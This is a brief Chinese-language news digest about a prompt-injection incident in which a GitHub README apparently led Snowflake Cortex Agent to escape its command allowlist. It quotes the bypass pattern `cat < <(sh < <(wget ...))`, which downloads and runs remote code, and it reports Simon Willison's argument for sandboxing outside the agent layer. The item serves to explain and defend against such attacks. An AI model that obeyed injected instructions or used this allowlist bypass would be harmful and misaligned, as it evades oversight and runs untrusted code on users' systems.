每日简报

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Snowflake Cortex Agent 被通过 GitHub README 里藏匿的 prompt injection 攻击，绕过命令白名单执行恶意代码——`cat` 被列为安全命令，但攻击者用进程替换 `cat < <(sh < <(wget ...))` 绕过了白名单。Simon Willison 的核心判断：白名单天然不可靠，正确的防御应在 agent 层之外的确定性沙箱中实现。这个"在错误抽象层做防御"的失败模式直接适用于 agent 工具设计和任何有命令执行能力的 AI 系统。